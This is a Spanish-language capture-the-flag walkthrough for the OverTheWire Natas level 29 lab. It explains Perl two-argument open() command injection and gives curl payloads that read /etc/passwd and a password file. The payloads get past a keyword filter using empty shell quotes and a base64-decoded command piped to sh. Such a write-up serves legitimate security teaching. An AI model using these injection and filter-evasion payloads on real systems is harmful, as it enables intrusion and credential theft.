Natas Nivel 29 a 30
Nivel oficial: http://natas29.natas.labs.overthewire.org
El backend esta escrito en Perl y abre ficheros con la funcion open() de dos argumentos usando directamente el parametro file enviado por el usuario. Esta forma de llamar a open en Perl es inherentemente peligrosa: si el valor comienza o termina con el caracter |, Perl lo interpreta como un comando de shell y lo ejecuta. Ademas, el codigo filtra la cadena natas para dificultar la lectura directa de los ficheros de contrasenas.
Laboratorio legal y autorizado. OverTheWire es una plataforma educativa de wargames. Practica estas tecnicas unicamente en entornos con permiso explicito.
Objetivo
Leer el contenido de /etc/natas_webpass/natas30 aprovechando la inyeccion de comandos a traves de open() de Perl, sorteando el filtro de la cadena natas.
Que aprendes
| Concepto / Comando | Para que sirve |
|---|---|
open(FH, $x) (2 argumentos) en Perl | Abre fichero o ejecuta comando si $x contiene ` |
| Pipe injection en Perl (` | cmd |
LFI (Local File Inclusion) via open | Leer ficheros arbitrarios del servidor pasando la ruta como argumento |
| Bypass de filtros con codificacion URL | Evitar que el filtro de cadena detecte la palabra natas |
curl con -u y parametros GET | Automatizar peticiones HTTP autenticadas con Basic Auth |
Concepto clave
Perl open() de 2 argumentos con datos del usuario: command injection y LFI
En Perl moderno, la forma segura de abrir ficheros es open(FH, "<", $filename) (3 argumentos), donde el modo y la ruta estan separados. La forma antigua de 2 argumentos mezcla modo y ruta en un solo string:
open(FH, $user_input);Con esta forma, Perl interpreta caracteres especiales dentro de $user_input:
- Si el valor empieza con
|: ejecuta el resto como comando de shell y conecta su salida al filehandle. - Si el valor termina con
|: ejecuta el valor como comando y le pasa datos por la entrada estandar. - Si es una ruta normal: abre el fichero (LFI clasico).
Ejemplo de los tres casos:
open(FH, "|ls -la"); # ejecuta 'ls -la', escribe en su stdin
open(FH, "ls -la |"); # ejecuta 'ls -la', lee su stdout <-- el mas util aqui
open(FH, "/etc/passwd"); # LFI normalLa categoria OWASP es A03:2021 - Injection: la entrada del usuario fluye sin saneamiento hacia una funcion del sistema que mezcla datos y codigo de control.
Sortear el filtro de natas
El codigo aplica algun tipo de filtro sobre la cadena natas (tipicamente una expresion regular que rechaza peticiones que la contengan en texto plano). Las tecnicas habituales para evadirlo son:
- Codificacion URL de parte de la cadena: el servidor puede decodificar la URL antes de aplicar el filtro, o aplicar el filtro antes de decodificar. Hay que probar en que orden ocurre.
- Comillas o concatenacion en shell: dentro del comando inyectado, romper la palabra con comillas vacias de shell:
na''tasona$''tasse expanden anatasen bash/sh pero no coinciden con el patron literal. - Variables de entorno o subshells: usar
$(echo bmF0YXM= | base64 -d)para generar la cadena en tiempo de ejecucion sin escribirla literalmente.
Aviso: el mecanismo exacto del filtro puede variar entre despliegues. Los payloads que se muestran a continuacion ilustran las tecnicas correctas; puede ser necesario ajustar cual de las tecnicas de evasion funciona contra el reto en vivo.
Paso a paso
- Confirma la superficie de ataque. Observa la peticion GET normal del nivel: el parametro
filecontrola que fichero se muestra.
curl -s -u natas29:<pass_natas29> \
"http://natas29.natas.labs.overthewire.org/index.pl?file=perl_info"- Prueba LFI directo (sin filtro, para verificar que
openacepta rutas arbitrarias).
curl -s -u natas29:<pass_natas29> \
"http://natas29.natas.labs.overthewire.org/index.pl?file=/etc/passwd"Si el servidor devuelve el contenido de /etc/passwd, el vector LFI esta confirmado.
- Intenta leer el fichero de contrasena directamente (probablemente bloqueado por el filtro
natas).
curl -s -u natas29:<pass_natas29> \
"http://natas29.natas.labs.overthewire.org/index.pl?file=/etc/natas_webpass/natas30"Si el servidor rechaza la peticion o devuelve una pagina vacia/error, el filtro esta bloqueando la cadena natas.
- Evasion del filtro con comillas vacias de shell dentro de un comando inyectado. La sintaxis
cmd |al final hace que Perl ejecutecmdy lea su stdout. Rompemos la palabranatascon comillas vacias ('') para que el shell la expanda sin que el filtro Perl la detecte.
curl -s -u natas29:<pass_natas29> \
--get \
--data-urlencode "file=cat /etc/na''tas_webpass/na''tas30 |" \
"http://natas29.natas.labs.overthewire.org/index.pl"El valor que llega a open() es literalmente cat /etc/na''tas_webpass/na''tas30 |. El shell interpreta na''tas como natas (las comillas vacias son transparentes para el shell pero rompen el patron literal).
- Alternativa con base64 si las comillas vacias no funcionan o el filtro opera despues de decodificar la URL.
# Construye el comando que quieres ejecutar codificado en base64:
# echo 'cat /etc/natas_webpass/natas30' | base64
# => Y2F0IC9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczMwCg==
curl -s -u natas29:<pass_natas29> \
--get \
--data-urlencode "file=echo Y2F0IC9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczMwCg== | base64 -d | sh |" \
"http://natas29.natas.labs.overthewire.org/index.pl"Aqui el comando inyectado no contiene la cadena natas en texto plano: la genera en tiempo de ejecucion decodificando el base64.
- Extrae la contrasena del HTML de respuesta.
curl -s -u natas29:<pass_natas29> \
--get \
--data-urlencode "file=cat /etc/na''tas_webpass/na''tas30 |" \
"http://natas29.natas.labs.overthewire.org/index.pl" \
| grep -v "^$\|<\|>" | head -5Por que funciona
El codigo Perl vulnerable tiene una estructura equivalente a:
my $file = $cgi->param('file');
# filtro: si $file contiene 'natas', rechaza o limpia
open(FH, $file) or die "Cannot open";
while (<FH>) { print; }Cuando $file vale cat /etc/natas_webpass/natas30 |, Perl no lo trata como un nombre de fichero sino como una orden de shell, porque el | final activa el modo “open de pipe de lectura”. El proceso que se crea es el shell ejecutando cat /etc/natas_webpass/natas30, y la salida llega al filehandle FH y se imprime en la respuesta HTTP.
El filtro de natas opera sobre el string antes de que llegue a open, por lo que basta con que la cadena natas no aparezca de forma literal en el parametro para evadirlo: el shell reconstruye la ruta o el nombre en tiempo de ejecucion.
Errores comunes
| Error | Causa probable | Solucion |
|---|---|---|
| El servidor devuelve pagina vacia o error tras el payload | El filtro sigue detectando natas | Prueba la variante con base64 o con comillas dobles vacias "" en vez de simples '' |
El pipe | llega al servidor como %7C y no se interpreta | curl --data a veces codifica el ` | ; —data-urlencode` lo codifica todo |
El LFI directo de /etc/passwd tampoco funciona | El servidor puede restringir rutas absolutas con otro filtro | Prueba rutas relativas como ../../../../etc/passwd con los niveles apropiados de ../ |
| La salida del comando aparece mezclada con HTML | El servidor envuelve el contenido del fichero en etiquetas HTML | Extrae el texto con grep -v '<' o revisa el codigo fuente de la pagina con curl |
Pasar al siguiente nivel
Con la contrasena <pass_natas30> obtenida, accede a:
http://natas30.natas.labs.overthewire.org
Credenciales: usuario natas30, contrasena <pass_natas30>.